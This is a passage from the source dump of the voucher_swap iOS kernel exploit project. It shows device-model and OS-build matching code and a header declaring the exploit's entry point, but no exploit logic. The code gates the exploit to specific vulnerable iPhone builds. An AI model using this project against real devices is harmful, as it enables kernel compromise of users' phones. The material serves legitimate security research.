|| strcmp(builds, "*") == 0) { 322 | return true; 323 | } 324 | uint64_t version = parse_build_version(build, NULL); 325 | uint64_t version_min, version_max; 326 | parse_build_version_range(builds, &version_min, &version_max); 327 | return (version_min <= version && version <= version_max); 328 | } 329 | 330 | // ---- Public API -------------------------------------------------------------------------------- 331 | 332 | bool 333 | platform_matches_device(const char *device_range) { 334 | return match_device(platform.machine, device_range); 335 | } 336 | 337 | bool 338 | platform_matches_build(const char *build_range) { 339 | return match_build(platform.osversion, build_range); 340 | } 341 | 342 | bool 343 | platform_matches(const char *device_range, const char *build_range) { 344 | return platform_matches_device(device_range) 345 | && platform_matches_build(build_range); 346 | } 347 | -------------------------------------------------------------------------------- /voucher_swap/voucher_swap/platform_match.h: -------------------------------------------------------------------------------- 1 | /* 2 | * platform_match.h 3 | * Brandon Azad 4 | */ 5 | #ifndef VOUCHER_SWAP__PLATFORM_MATCH_H_ 6 | #define VOUCHER_SWAP__PLATFORM_MATCH_H_ 7 | 8 | #include 9 | 10 | /* 11 | * platform_matches_device 12 | * 13 | * Description: 14 | * Check whether the current platform matches the specified device or range of devices. 15 | * 16 | * Match format: 17 | * The match string may either specify a single device glob or a range of device globs. For 18 | * example: 19 | * 20 | * "iPhone11,8" Matches only iPhone11,8 21 | * "iPhone11,*" Matches all iPhone11 devices, including e.g. iPhone11,4. 22 | * "iPhone*,*" Matches all iPhone devices. 23 | * "iPhone11,4-iPhone11,8" Matches all iPhone devices between 11,4 and 11,8, inclusive. 24 | * "iPhone10,*-11,*" Matches all iPhone10 and iPhone11 devices. 25 | * 26 | * As a special case, "*" matches all devices. 27 | */ 28 | bool platform_matches_device(const char *device_range); 29 | 30 | /* 31 | * platform_matches_build 32 | * 33 | * Description: 34 | * Check whether the current platform matches the specified build version or range of build 35 | * versions. 36 | * 37 | * Match format: 38 | * The match string may either specify a single build version or a range of build versions. 39 | * For example: 40 | * 41 | * "16C50" Matches only build 16C50. 42 | * "16B92-16C50" Matches all builds between 16B92 and 16C50, inclusive. 43 | * 44 | * As a special case, either build version may be replaced with "*" to indicate a lack of 45 | * lower or upper bound: 46 | * 47 | * "*-16B92" Matches all builds up to and including 16B92. 48 | * "16C50-*" Matches build 16C50 and later. 49 | * "*" Matches all build versions. 50 | */ 51 | bool platform_matches_build(const char *build_range); 52 | 53 | /* 54 | * platform_matches 55 | * 56 | * Description: 57 | * A convenience function that combines platform_matches_device() and 58 | * platform_matches_build(). 59 | */ 60 | bool platform_matches(const char *device_range, const char *build_range); 61 | 62 | #endif 63 | -------------------------------------------------------------------------------- /voucher_swap/voucher_swap/voucher_swap.h: -------------------------------------------------------------------------------- 1 | /* 2 | * voucher_swap.h 3 | * Brandon Azad 4 | */ 5 | #ifndef VOUCHER_SWAP__VOUCHER_SWAP_H_ 6 | #define VOUCHER_SWAP__VOUCHER_SWAP_H_ 7 | 8 | /* 9 | * voucher_swap 10 | * 11 | * Description: 12 | * Run the voucher_swap exploit. 13 | */ 14 | void voucher_swap(void); 15 | 16 | #endif 17 | --------------------------------------------------------------------------------